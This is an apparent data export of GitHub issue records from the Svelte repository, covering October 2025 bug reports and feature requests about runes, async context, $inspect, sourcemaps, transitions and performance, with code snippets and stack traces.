  <SomeComponentThatRendersCommentsInHereSomeWhere />
</VisibleCommentContext>
```

and it seemed to be working locally, but after releasing to our dev environment i was met with `Svelte error: set_context_after_init` again.

if this is intended behavior i think i needs to be well documented that context and async are essentially incompatible and the error needs to link to the docs.

if this is not intended then please see reproducti... [TRUNCATED]",,2025-10-23T14:48:42Z,2025-10-23T15:19:25Z,3
sveltejs/svelte,3544528334,[5.41.2] $inspect updates give negative feeling due to UpdatedAtError,"### Describe the problem

<img width=""752"" height=""200"" alt=""Image"" src=""https://github.com/user-attachments/assets/c808928c-dd75-4ffd-b7e6-97c3c9cedc83"" />

Screenshot shows just a simple boolean state toggle with `$inspect`. I've no idea how `UpdatedAtError` update was considered to be a nice addition but it gives a feeling you did something wrong or you have an error.

Every time I see it I just want to remove `$inspect` to not see a message with `Error` in it. Quite often `$inspect` is used for some debugging and seeing a message with error is not what you expect.

### Describe the proposed solution

Add a way to have `$inspect` without this `UpdatedAtError`, just like it was before, maybe with some config flag.

Thank you 🫶 

### Importance

would make my life easier",,2025-10-23T12:41:35Z,2025-10-25T15:29:12Z,12
sveltejs/svelte,3544100828,Unnecessary updates when primitive props hasn't changed + weird `$inspect()` bug,"### Describe the bug

If i have a primitive property and the value of the property is updated to the exact same value, i would not expect it to trigger updates. It behaves as expected if i wrap the property in a $derived() call, but not if it comes from $props():

```svelte
<script>
	const { name, version } = $props()

	/**
	* I would not expect this to re-run when the value is exactly the same
	*/
	$effect(() => {
		console.log('name', name)
	})

	$effect(() => {
		console.log('version', version)
	});


	const versionInDerived = $derived(version)

	/**
	* Because this does not run when the value is exactly the same
	*/
	$effect(() => {
		console.log('versionInDerived', versionInDerived)
	})
</script>
```

### Bonus bug:

Also, i noticed that if i add an `$inspect(...)` with any of the props an `UpdatedAtError` get's thrown:

```svelte
	// Adding this throws an UpdatedAtError
	$inspect(name)
```

```cmd
UpdatedAtError
    at get_stack (playground:output:655:15)
    at eval (playground:output:4827:19)
    at untrack (playground:output:4177:11)
    at eval (playground:output:4821:4)
    at update_reaction (playground:output:3822:17)
    at update_effect (playground:output:4002:19)
    at flush_inspect_effects (playground:output:2426:5)
    at internal_set (playground:output:2406:5)
    at set (playground:output:2330:10)
    at eval (playground:output:5000:5)
    at HTMLButtonElement.refresh [as __click] (playground:output:5140:4)
    at HTMLBodyElement.handle_event_propagation ... [TRUNCATED]",,2025-10-23T10:30:55Z,2025-10-23T12:04:54Z,1
sveltejs/svelte,3540432858,TypeError: `bind:this` getter runs before enclosed if-block,"### Describe the bug


 - We have an if-block checking the truthiness of a value
 - Bind `this` of an inside element to a record by using a property of the value as a key
 - Set the value to undefined
 - The getter of `bind:this` runs, trying to read the property from the now undefined value.

I would've expected the if-block to unmount after setting the value to undefined but instead the getter runs first, leading to a TypeError.

Full example:

```svelte
<script>
  let value = $state({ id: ""foo"" });

  const elements = $state({});

  setTimeout(() => (value = undefined), 100);
</script>

{#if value}
  <div bind:this={elements[value.id]}></div>
{/if}
```

These two issues seem to be related:

https://github.com/sveltejs/svelte/issues/16421
https://github.com/sveltejs/svelte/issues/15698

### Reproduction

[REPL for the example](https://svelte.dev/playground/hello-world?version=5.41.1#H4sIAAAAAAAACm2OQU7EMAxFr2IZFq1UTYdt6FSCM7CbzKJtnMFS6lYTt4Cq3B0F1BELts_vf_8NpRsJDb6yOJYr9MsVK_QcKKI5b6hfcz5ngNUuv8zzIa4UNLO-i_QfHyZREo1osInDjWdtrQAEUli7sBCc4DFqp1RswM6ART9NFiGVz1ayOUwSFSjQmGv-6Hcjkr7xSNOiRVHCqYVib17EkWchV1bwdDzmQFPfV1jZHtj_zki5qHG8Qs_ijL5zPG370_OPcmB3SW1TO15bK1vNPlnBCpU-FY3eFkqXCrXj8MHi0PguRErfcEqLYFsBAAA)



### Logs

```shell
TypeError: Cannot read properties of undefined (reading 'id')
    at eval (playground:output:4838:95)
    at Array.eval (playground:output:4680:33)
    at run_all (playground:output:123:10)
    at run_micro_tasks (playground:output:634:3)
    at eval (pla... [TRUNCATED]",,2025-10-22T11:15:23Z,2026-03-13T12:19:12Z,2
sveltejs/svelte,3538865018,Invalid sourcemap when there's \n in the script block,"### Describe the bug

Similar issues #13478 #16615 #9961. But here is a possible minimal reproduction:

### Reproduction

Save and run this snippet

```js
import * as svelte from 'svelte/compiler'

const code = `<script>
</script>
`

const { js, css } = svelte.compile(code, {
	filename: 'a.svelte',
})

const _16to8 = (x) => unescape(encodeURIComponent(x))

function sourceMapVisual(name, a) {
	if (!a?.code) return
	let [code, map] = [_16to8(a.code), _16to8(a.map)]
	let url =
    'https://evanw.github.io/source-map-visualization/#' +
    btoa(code.length + '\0' + code + map.length + '\0' + map).replace(/\=+$/, '')
	console.log(name, `\x1b]8;;${url}\x1b\\source-map-visualization\x1b]8;;\x07`, a.map)
}

sourceMapVisual(' JS', js)
sourceMapVisual('CSS', css)
```

Try to change the `code` to the following strings:

Single line of code: works fine.

```svelte
<script>let a = 1</script>
```

Multi line: `The ""mappings"" field of the imported source map contains invalid data. Invalid VLQ data at index 19: Invalid original column: -1.` on [Source Map Visualization](https://evanw.github.io/source-map-visualization/).

```svelte
<script>
  // You can put anything here
</script>
```

### Logs

I was trying to integrate svelte in esbuild, while esbuild complains:

```js

▲ [WARNING] Bad ""mappings"" data in source map at character 95: Invalid original column value: -1 [invalid-source-mappings]

    fixture/App.svelte#sourceMappingURL:1:415:
      1 │ ...ASK,KAAK,WAAU,MAAM,CAAC,OAAO,CAAC,GAAG,... [TRUNCATED]",,2025-10-22T02:23:51Z,2026-01-07T18:37:02Z,5
sveltejs/svelte,3536774101,SVG `mask-type` attribute is missing from `SVGAttributes` type,"### Describe the bug

Using an SVG [`<mask>`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/mask) element with a [`mask-type`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/mask-type) attribute causes svelte-check to report the following error, because the `mask-type` attribute is not present in [svelte/elements.d.ts](https://github.com/sveltejs/svelte/blob/f549478dd0508074ac2b8c31777e598936e6f8c9/packages/svelte/elements.d.ts):

```
Error: Object literal may only specify known properties, and '""mask-type""' does not exist in type 'HTMLProps<""mask"", SVGAttributes<any>>'.
```



### Reproduction

https://svelte.dev/playground/e598d5f225474474bbbf5e6591c24e65?version=5.41.1

Create a Typescript project with `sv create` using this as a template and run `npm run check`.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.0.1
    CPU: (8) arm64 Apple M3
    Memory: 356.61 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.19.0 - /Users/user/.nvm/versions/node/v22.19.0/bin/node
    npm: 10.9.3 - /Users/user/.nvm/versions/node/v22.19.0/bin/npm
    pnpm: 10.4.0 - /Users/user/Library/pnpm/pnpm
    bun: 1.3.0 - /Users/user/.bun/bin/bun
  Browsers:
    Chrome: 141.0.7390.108
    Firefox: 144.0
    Safari: 26.0.1
  npmPackages:
    svelte: workspace:^ => 5.41.1
```

### Severity

annoyance",,2025-10-21T14:14:20Z,2025-10-21T15:45:50Z,6
sveltejs/svelte,3536733980,Make `console.log` great again: better `$inspect` ergonomics,"### Describe the problem

I'm always frustrated when i use `$inspect`. The log shows the location as a svelte util (`inspect.js`) and there is no indication of the true source of the call.

I get extra frustrated when i think that `$inspect.trace` might be useful but then realise it is for something else.

I get double extra frustrated when i realise i need to write `$inspect(val).with(console.trace)`. double extra because not only is it horrible to write but it gives me a full trace, hogging dozens of lines in my dev console.

i get super extra double frustrated when I realise I'm gonna need to write a helper for something that worked fine in v4 with `$: console.log(val)`

### Describe the proposed solution

`$inspect` calls should show the file in which they were called, or a truncated stack trace.

### Importance

would make my life easier",,2025-10-21T14:04:53Z,2025-10-22T10:04:37Z,0
sveltejs/svelte,3536496330,Enable usage of `createContext` with independent `mount`,"### Describe the problem

@accuser made this observation [here](https://github.com/sveltejs/svelte/pull/16948#issuecomment-3415952723):

> I like the simplicity of this approach, but it seems to take away the ability to pass context when mounting a component during testing. Or am I missing something obvious?
> 
> I used to do this:
> 
> ```js
> mount(MyComponent, { props, context: { CONTEXT_TOKEN: mockContext }, target: document.body });
> ```
> 
> Now that the context key is opaque, I don't seem to have a way to do this.

### Describe the proposed solution

Maybe the key should be exposed (e.g. on the setter) to enable something like:
```js
mount(MyComponent, { context: { [setContext.key]: mockContext }, /* ... */ });
```

Or maybe a function for creating a context entry (key/value pair) could be provided, this way the type checking could still be automatically enforced:
```js
mount(MyComponent, {
  context: new Map([
      setContext.entry(mockContext), // [{}, T]
      // ... other contexts, e.g. via `...Object.entries({ ... })`
  ]),
  // ...
});
```

### Importance

would make my life easier",,2025-10-21T13:11:02Z,2026-02-05T14:59:09Z,9
sveltejs/svelte,3535808181,Editable content duplicated on blur,"### Describe the bug

Consider this rather contrived example. When I enter some text and blur the element, the input text is duplicated, first as plain text and then as HTML, though the `content` variable contains the right contents.

```svelte
<script lang=""ts"">
  let content = $state("""");
</script>

<div onblur={(e) => { content = e.currentTarget.innerText; }} contenteditable>
  {@html content}
</div>
```

The real use case I have is a simple markdown editor. `content` is a markdown string. The `div` contains `{@html markdownToHTML(content)}`, and on blur, I do `content = HTMLToMarkdown(e.currentTarget.innerHTML)`.

I've found a workaround using `key`, but I think it seems strange that it should be necessary:
```svelte
{#key content}
  <div onblur={(e) => { content = e.currentTarget.innerText; }} contenteditable>
    {@html content}
  </div>
{/key}
```

### Reproduction

https://svelte.dev/playground/ea78f3db19fa4fd2bdae97a908d0ddbf?version=5.41.1

### Logs

```shell

```

### System Info

```shell
Same as latest Svelte playground
```

### Severity

annoyance",,2025-10-21T09:50:29Z,2026-03-07T00:11:17Z,0
sveltejs/svelte,3534849227,Massive perf drop in probably 5.41.1,"### Describe the bug

After recent upgrade from 5.19.12 to 5.41.1 I found our app is freezing to multiple seconds (got as much as 5s in some cases) when I click through UI.

<img width=""1095"" height=""570"" alt=""Image"" src=""https://github.com/user-attachments/assets/e89fffe9-19de-406b-bd9f-7f710cbdd681"" />

### Reproduction

I am not yet sure how to make a reproduction for it outside our code, but I think the problem is important enough to start discussion about it and iterate on the findings.

What I know so far:
1. We are not using async
2. It seems like the regression appears in 5.41.1. I can't say for sure, because I don't quite know a specific set of steps that lead to it. My guess it's [branch refactoring PR](https://github.com/sveltejs/svelte/pull/16977)
3. The best way to trigger it seems to be fast clicking through some tabs in our UI. So probably something isn't cleaned up correctly and get interleaved?

Bottoms up
<img width=""1215"" height=""286"" alt=""Image"" src=""https://github.com/user-attachments/assets/584dac70-a74a-4f4b-98f6-20d5f23a0d1f"" />

Source with timings
<img width=""778"" height=""657"" alt=""Image"" src=""https://github.com/user-attachments/assets/930e15e0-f049-4de5-8194-e1623d77bc9e"" />

### Logs

```shell

```

### System Info

```shell
I can repro it both in Chrome and Firefox, so seems like env is irrelevant
```

### Severity

blocking an upgrade to",perf,2025-10-21T04:41:36Z,2025-10-28T09:21:06Z,18
sveltejs/svelte,3531585081,Slow Array.includes in dev,"### Describe the bug

While using #16930 in my project, I noticed that actions which triggered eager effects were taking longer than expected. It seems this [array.includes hijack](https://github.com/sveltejs/svelte/blob/9a488d6b25d41d594ee73582e56aff123eec49e9/packages/svelte/src/internal/client/dev/equality.js#L48-L58) is a major culprit. Perhaps there should be a way for internal function to opt out of these dev mode polyfills?

This identical operation is several orders of magnitude slower time as a result:

<img width=""483"" height=""226"" alt=""Image"" src=""https://github.com/user-attachments/assets/22cb0c7b-e049-40bf-8dae-501aae617bae"" />

> with

<img width=""467"" height=""97"" alt=""Image"" src=""https://github.com/user-attachments/assets/e3486068-1291-42ae-a581-4f1cdd03a559"" />

> without

### Reproduction

Use array.includes

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (5) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    @sveltejs/adapter-auto: ^3.0.0 => 3.3.1 
    @sveltejs/kit: ^2.5.27 => 2.47.1 
    @sveltejs/vite-plugin-svelte: ^5.0.0 => 5.1.1 
    svelte: ^5 => 5.41.0 
    vite: ^6.0.0 => 6.4.0
```

### Severity

annoyance",,2025-10-20T08:46:59Z,2025-10-20T09:26:02Z,2
sveltejs/svelte,3529370009,Transition regression since v5.38.2,"### Describe the bug

Starting in 5.38.2, exit transitions are no longer being applied under certain conditions while _enter_ transitions are working as expected.

Reproduction below.

### Reproduction

The following StackBlitz repro is pinned to 5.38.1, if you open and close the popover, you'll notice the enter and exit transitions are applied as expected.

If you bump the Svelte version to 5.38.2, you'll notice the transition is only applied during entrance, but not exit.

https://stackblitz.com/edit/jfqc8mm3?file=package.json

### Logs

```shell

```

### System Info

```shell
(StackBlitz env)
  System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.38.2 => 5.38.2
```

### Severity

blocking an upgrade",transition/animation,2025-10-19T00:27:57Z,2025-11-18T15:13:26Z,10
sveltejs/svelte,3528826356,Typescript type inference issues,"(I posted [this](https://discord.com/channels/457912077277855764/1427388014807617576) on the discord and haven't had a response for almost a week at time of writing, so I'm assuming that this is a bug)

### Describe the bug

When I have the following code in a svelte componenent's `<script lang=""ts"">` tag:

```ts
let deck = $derived($decks[nameOfOpenDeck] || null)
const test: Record<string, string> = {a: ""d""}
const test2 = test[""c""] || null
```

The type of `deck` is `FlashcardDeck`, and the type of `test2` is `string`

But when I have [the following code in typescript](https://www.typescriptlang.org/play/?#code/MYewdgzgLgBFCm0BcMBK9QCcAmAeamAlmAOYA0MBxJAfDALwwDeAhigETbsC+AUKJFgJoAJgZxEUANrtg7ALowAPkphgArgBtNvAPS6YhmAD0A-EA):

```ts
const test: Record<string, string> = {a: ""d""}
const test2 = test[""c""] || null
//    ^?
```

The type of `test2` is `string | null`

### Reproduction

https://svelte.dev/playground/5ba28e5ebc044971b1cd035653aa4638?version=latest

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Fedora Linux 42 (Workstation Edition)
    CPU: (8) x64 AMD Ryzen 7 3750H with Radeon Vega Mobile Gfx
    Memory: 8.86 GB / 13.59 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 24.7.0 - /home/jg/binary-repository/bin/node
    npm: 11.6.0 - /home/jg/binary-repository/bin/npm
  Browsers:
    Firefox: 143.0
    Firefox Developer Edition: 143.0
  npmPackages:
    svelte: ^5.0.0 => 5.39.8
```

### Severity

annoyance",,2025-10-18T13:27:24Z,2025-10-20T18:50:35Z,2
sveltejs/svelte,3528236165,Svelte boundaries fail with remote function and being called in script,"### Describe the bug

When a remote function is called and the result is awaited in `<svelte:boundary>` while there is also a remote function which is called without a boundary.

i.e., like so

```ts
<script lang=""ts"">
	import { getDelayedData } from './data.remote';

	const moreData = await getDelayedData();
</script>

<h1>Dashboard</h1>

<svelte:boundary>
	<span>Protected Data</span>
	<p>Secret: {await getDelayedData()}</p>
	{#snippet pending()}
		<p>loading...</p>
	{/snippet}
</svelte:boundary>

<pre>
    {moreData}
</pre>
```
The page will forever show the loading state.

However, if you call the function inline like so, it works correctly,
```ts
<script lang=""ts"">
	import { getDelayedData } from './data.remote';
</script>

<h1>Dashboard</h1>

<svelte:boundary>
	<span>Protected Data</span>
	<p>Secret: {await getDelayedData()}</p>
	{#snippet pending()}
		<p>loading...</p>
	{/snippet}
</svelte:boundary>

<pre>
    {await getDelayedData()}
</pre>
```

### Reproduction

Full repo is here, <https://github.com/Hysterelius/better-auth-sveltekit-demo>

### Logs

```shell

```

### System Info

```shell
Binaries:
    Node: 24.3.0 - /home/hys/.local/share/pnpm/node
    npm: 11.4.2 - /home/hys/.local/share/pnpm/npm
    pnpm: 10.18.3 - /home/hys/.local/share/pnpm/pnpm
    Deno: 2.3.6 - /home/hys/.deno/bin/deno
  Browsers:
    Chrome: 141.0.7390.107
    Firefox: 144.0
    Firefox Developer Edition: 144.0
  npmPackages:
    svelte: ^5.41.0 => 5.41.0
```

### Severity

annoyance",,2025-10-18T07:21:47Z,2025-10-28T16:50:31Z,2
sveltejs/svelte,3525413798,Does createContext actually exist?,"### Describe the bug

Am I hallucinating here? [https://svelte.dev/docs/svelte/context#Type-safe-context](https://svelte.dev/docs/svelte/context#Type-safe-context)

```
import { createContext } from 'svelte';
...
```

`'""svelte""' has no exported member named 'createContext'. Did you mean 'getContext'? (ts 2724)`

### Reproduction

Just try to import it, I'm using version 5.40.2

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M2 Max
    Memory: 544.91 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.19.5 - /Users/pete/.nvm/versions/node/v20.19.5/bin/node
    npm: 10.8.2 - /Users/pete/.nvm/versions/node/v20.19.5/bin/npm
    pnpm: 9.8.0 - /Users/pete/Library/pnpm/pnpm
    bun: 1.2.23 - /opt/homebrew/bin/bun
    Deno: 2.4.0 - /opt/homebrew/bin/deno
  Browsers:
    Safari: 18.6
```

### Severity

annoyance",awaiting submitter,2025-10-17T10:15:51Z,2025-10-17T11:27:12Z,3
sveltejs/svelte,3522671150,The frequent state updates are causing strange bugs (not actually frequent),"### Describe the bug

```svelte
<script>
  import {onMount} from 'svelte'
  let ct = $state(0)
  let LAST_TIME = 0

  $effect(() => {
    const now = Date.now()
    if (now - LAST_TIME < 1e3) return
    LAST_TIME = now
    console.log(ct) // It will not execute after the play button is clicked.
  })

  onMount(() => {
    setInterval(() => {ct++}, 1e3)
  })
</script>

<h1>current time: {ct}</h1>

<audio 
  controls src=""https://cdn.shopify.com/s/files/1/0939/9264/8985/files/p4.mp3?v=1760609307""
  ontimeupdate={e => {
    ct = e.target.currentTime
  }}	
></audio>
```

### Reproduction

https://svelte.dev/playground/hello-world?version=5.40.1#H4sIAAAAAAAAE21SXWvbMBT9KxdRqE07K1m6tDF2RmGDBdan5a0ew5WvGzFZEtJ10hD83yfFSZfB3nTPPefcLx2YrjtkOfuGShnYGacaSLCRhE3KblkrFXqWPx8Y7W3kRSDgJ9WjtZnfoqKIvdQe_4cLowk1BRtWeOGkpWWlAWRnjSM4GP1kek0DtM50cD3KriNDIYEgKOHKU02YTNIz-v3xx_rXevX0NSQnlY7wFbYtCkqSFMolHCIEEEp7Am12gfclWGThmaRjTraQxMyHC7cCpjhLwSH1To-0y1KB_tfXKMyUeU0EpcA5rAh2UqnAIcA3FD0h1C2hA9ogWFXv4aUnMhqkB6Gk-I1NFt2GdBzgtId_B_BIq7A9t63VOSHo5ma4PTZ6lhf8fa8h2EyXoncurBxIdphHyVDwAB_Tdd9IA1EaD-OM8uCdKCu2IbI-51w0OvMbY2W7z4TpuOfHX8CnfLKYLfji4_yOPywePp1ge5d1dvZ5W07v55N5oEzuKzYOFMv3tgmLLw94eZZ4VMyodq9I2anZdSAfBxoqqvSy4MdGl-EDEb4Ry8n1OPwMUS3VTuqG5W2tPA5_ANuuOBbDAgAA

### Logs

```shell

```

### System Info

```shell
playground
```

### Severity

annoyance",,2025-10-16T16:45:52Z,2025-10-16T16:59:33Z,1
sveltejs/svelte,3521236960,Scoped styles break when composing components,"### Describe the problem

When composing Svelte components that each define their own scoped styles, only the innermost child component's hash is applied to the rendered element. This prevents parent component styles from working correctly, breaking component composition patterns.

## Reproduction
Here's a minimal reproduction showing a `Heading` component that wraps a `Text` component:
### Text.svelte
```svelte
<script>
  let { tag = ""div"", class: className, children, ...props } = $props();
</script>

<svelte:element this={tag} class={[""text"", className]} {...props}>
  {@render children?.()}
</svelte:element>

<style>
  .text {
    color: gray;
    line-height: 1.5;
    font-weight: 400;
    font-size: 1rem;
  }
</style>
```
### Heading.svelte
```svelte
<script>
  import Text from './Text.svelte';
  let { tag = ""h2"", class: className, children, ...props } = $props();
</script>

<Text {tag} class={[""heading"", className]} {...props}>
  {@render children?.()}
</Text>

<style>
  .heading {
    color: black;
    font-weight: 600;
    text-wrap: balance;
  }
</style>
```
### Expected Output
```svelte
<h2 class=""text heading s-TextHash s-HeadingHash"">Content</h2>
```
### Output
```svelte
<h2 class=""text heading s-TextHash"">Content</h2>
```
Only the `Text` component's hash is applied. The `.heading` styles defined in `Heading.svelte` don't work because the `s-HeadingHash` is missing.
### Current Workaround
Using `:global(.heading)` works but defeats the purpose of scoped styles:
```... [TRUNCATED]",,2025-10-16T10:21:28Z,2025-10-16T11:53:33Z,1
sveltejs/svelte,3519520525,"SvelteSet.has, SvelteMap.get and SvelteMap.has aren't fine grain when parameter is not in the object","### Describe the bug

When using the .get and .has methods, if the searched value does not exist within the object, the effect is triggered even if the returned value has not changed (false or undefined)
When the searched value exists within the object, the effect is triggered only when the result changes

### Reproduction

While foo doesn't exist within the set, the hasFoo function is triggered with each new task created
After the foo task is created, the hasFoo function is no longer triggered
[repl](https://svelte.dev/playground/hello-world?version=5.40.1#H4sIAAAAAAAAA21Sy4rcMBD8lUY5jA3Bvg-2Q2BZct_c4hw0dntHrCwJqT2Txfjf03pMloUcjNylqupWSbswckVxFj9Qawt36_UMFc6KcK7FV7EojUGcf-2C3l3kRYDxovruXBNuqCliFxnwf_hkDaEhthFdmLxyNIxmJLU66wn2l8R7QTpg8XaFUWRl61FOpG6K3kcRBfFjr0BAMrwF6MHgHf7Jq5oJTFk2wzJr4CrDs7VVDXtSF21GWZxMGi6r02Ltqf4gWY2Ntq9VppYNj7T5h2mEjtF07cd5TOcGFYCu6BEksGXq8A26ix_2xyxH17rMXqxfgZttl1VRv1dYQz_kUbFxHm8c2RMuctP5ZGX8JOsBm2nznik_pX9F-rz_JEmWdJ5LWUW8_pwgUx7shj2qUwRzDmqBKlZ1SUnOc65TwCxqPIYc-XGk2-yUcRuB03LCq9Uz-n4UqUt8EqNIS4FGkSWXjciagc1Tm64tQAw2NklB7V_4GVzLlcuQfo4kd8Oeihzp3kbewe-N8A-JM_kNj99cSaXvyszivEgd8PgLrgJEC_ICAAA)

### Logs

```shell

```

### System Info

```shell
running Svelte compiler version 5.40.1
```

### Severity

annoyance",,2025-10-15T20:44:40Z,2025-11-03T22:50:52Z,1
sveltejs/svelte,3511504334,getAbortSignal's signal abortion causes maximum tearing,"### Describe the bug

Svelte async has a behavior in which asynchronous derivations are rendered in order until the most current derivation is displayed
This behavior is mostly unnoticeable (since derivations don't usually happen in sequence so quickly), but 99% of the time it's an undesirable behavior
To prevent these derivations that are already stale when computed (I call them stillborn derivations) from appearing, Svelte offers a helper called getAbortSignal that allows you to abort stillborn derivations
Unfortunately, when these stillborn branches are aborted, a desynchronization occurs between the parent state and its branch

### Reproduction

[repl](https://svelte.dev/playground/hello-world?version=5.39.11#H4sIAAAAAAAAA32ST4-bMBDFv8rI6sFU0SbZPxcaIu2te1upvdU9mDDsWjK2ZY-XrhDfvTZskk2pIoRgxu_33oA9MCM7ZCX7jlpb6K3XDXBsFGFTsBVrlcbAyl8Do3eXdbmR-h_Uo3M34Q015V4tA_6vf7CG0FCyYbtw8MrRXhhBqnPWEwwvSI91evuhXozUI7TediDYjAuWpfluozmQsga6qEk5_c7lCuoChklAHil6AwZ7eE4GKiDnvoBqfxQISnMEgjDFQAWXubw4ymbBjTUyryYhv7RJWfxTISgZAb2i4QVc9E9W9Opt_9ROadick_I1novxtHBqBqSfqkMbiS-mWMxpotafh5TwNf2gk-cKtpvN5qOes3JOeuj0AQcbTTb5EkgS8k3xTZjd-rxdZqeMiwS1Mk35JnXEapiYEfLJqAQzsavRCwbrWe_22zTAUVTBIHup6Lx929UcWoy7tdtPwO1V4HYJ3F0F7pbA_VXgfgk8XAUe_gHSaSf8Q6wkH3H8nSqpdJ9-GStbqQOOfwECE0w1cAMAAA)
If you quickly increase the counter to a high number, for example 20, the count value in the input is automatically updated to 20, the count value in the template is updated to 19 as if considering the aborted derivations as succ... [TRUNCATED]",,2025-10-13T21:14:43Z,2026-03-16T21:02:12Z,2
sveltejs/svelte,3510195814,Server `render()` result shape is impractical to work with,"### Describe the bug

When awaiting `render()` when `compilerOptions.experimental.async` isn't enabled, the `experimental_async_ssr` warning is shown. Problem is, there's no way to know if the result is awaitable from its shape because `then` is always present: https://github.com/sveltejs/svelte/blob/main/packages/svelte/src/internal/server/renderer.js#L352-L384. That's an issue for us in Astro.

My recommendation would be to only set the `then` property if `async_mode_flag` is true so we can do checks like `'then' in result`:

```js
let result = render(...)
if (isPromise(result)) {
  result = await result
}
```

That currently forces us to make a pretty big workaround, see https://github.com/withastro/astro/pull/14526.

I'd be happy to open a PR

### Reproduction

See https://github.com/withastro/astro/issues/14508 and https://stackblitz.com/edit/github-tpnsqnas?file=src%2Fpages%2Findex.astro

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2025-10-13T13:59:25Z,2025-10-14T20:56:50Z,2
sveltejs/svelte,3508083576,Format failed with `attribute_empty_shorthand` for Snippet with attachment,"### Describe the bug

prettier stops formatting when `snippet` inside tag with `attach` tag with `attribute_empty_shorthand` error. svelte check gives no error and this code is compiled successfully.

### Reproduction

```svelte
	<UIButton href=""/filters"" variant=""blur"" badge={filtersBadge}>
		{#snippet icon()}
			<svg {@attach svg('/filter.svg')} />
		{/snippet}
	</UIButton>
```

### Logs

```shell
2025-10-13T02:15:07+02:00 ERROR [project::lsp_store] Formatting failed: default prettier instance failed to format buffer: attribute_empty_shorthand: Attribute shorthand cannot be empty
https://svelte.dev/e/attribute_empty_shorthand
(unknown):6:8
4:   <UIButton href=""/filters"" variant=""blur"" badge={filtersBadge}>
5:     {#snippet icon()}
6:       <svg {@attach svg('/filter.svg')} />
              ^
7:     {/snippet}
8:   </UIButton>
While handling prettier request: {""jsonrpc"":""2.0"",""id"":39,""method"":""prettier/format"",""params"":{""text"":""..snip.."",""options"":{""plugins"":[""/Users/~/Library/Application Support/Zed/prettier/node_modules/prettier-plugin-svelte/plugin.js""],""parser"":null,""filepath"":""/Users/~/git/~web/src/components/menu/Menu.svelte"",""prettierOptions"":{""printWidth"":120,""useTabs"":true,""tabWidth"":2},""ignorePath"":null
```

### System Info

```shell
nodejs
```

### Severity

annoyance",,2025-10-13T00:20:32Z,2025-10-14T18:17:09Z,2
sveltejs/svelte,3505082530,$effect not rerun when state changed,"### Describe the bug

If you have an early return in $effect, the effect will not be tracked even the state read inside the $effect changes.

Here's the [playground link](https://svelte.dev/playground/315ec465a64d4ab98225d43a83b2ac50?version=latest).

If this is not a bug, it should be documented in https://svelte.dev/docs/svelte/$effect

### Reproduction

Here's the [playground link](https://svelte.dev/playground/315ec465a64d4ab98225d43a83b2ac50?version=latest)

### Logs

```shell

```

### System Info

```shell
none
```

### Severity

annoyance",,2025-10-11T03:07:39Z,2025-10-11T06:34:38Z,1
sveltejs/svelte,3504209577,`#each` blocks without an item + key expression cause a runtime error,"### Describe the bug

When using an `#each` block like this: `{#each { length: data.length }, index (data[index])}`, the generated JavaScript is invalid — `(, index) => data[index]`, which results in a runtime error.

Expected: this syntax should either be supported or produce a compile-time error.

Workaround: `{#each { length: data.length } as _, index (data[index])}`

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.39.11#H4sIAAAAAAAAA22MzQrCMBCEX2VZLxWCRb2FKnjzHdoeYrPaQNyWZv0j5N0lFfHibebjm4nI5kqo8UjeD_AYJm-hIOuE7BIVnp2ngLqOKK8xexmg-q4O47gKd_KS2ckE-se7gYVYAmqsQje5UfYNN9INHASsEQM7qNdqo7Ztw1X5UzguyHQ9RPDEF-n1bK8-BZICx5aeUGRaz7ldpnwd55IajmU-SKhQ6CmoZbpRahWKcf7h2KI-Gx8ovQErNaKaBwEAAA)

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-10-10T19:11:23Z,2025-10-17T20:06:55Z,1
sveltejs/svelte,3499094160,`await isn't allowed in non-async function` when assigning  `{@const ... await}` inside `{#each...}` block,"### Describe the bug

It is not possible to use asynchronous function calls (`{@const foo = await fn()}`) inside of an `{#each}` block.

It is possible to mitigate it by passing the data directly to a component instead.



### Reproduction

```svelte
{#each { length: 1 } as _}
  {@const data = await Promise.resolve(""data"")}
{/each}
```

https://stackblitz.com/github/tinggaard/await-in-non-async-fn

**Edit:** For some reason this does _not_ throw in the Svelte REPL. see:
https://svelte.dev/playground/68548d8982b34b35a121594bda946ad5

### Logs

```shell
[vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: Parse failure: await isn't allowed in non-async function
At file: /src/routes/+page.svelte:16:18
  File: /src/routes/+page.svelte:16:18
  14 |  			for (let $$index = 0, $$length = each_array.length; $$index < $$length; $$index++) {
  15 |  				let _ = each_array[$$index];
  16 |  				const data = (await $.save(Promise.resolve(""data"")))();
     |                    ^
  17 |  			}
  18 |
```

### System Info

```shell
System:
    OS: Linux 6.17 Arch Linux
    CPU: (16) x64 AMD Ryzen 7 8845HS w/ Radeon 780M Graphics
    Memory: 7.12 GB / 27.15 GB
    Container: Yes
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.9.0 - /usr/bin/node
    npm: 11.6.1 - /usr/bin/npm
    pnpm: 10.18.0 - /usr/bin/pnpm
  Browsers:
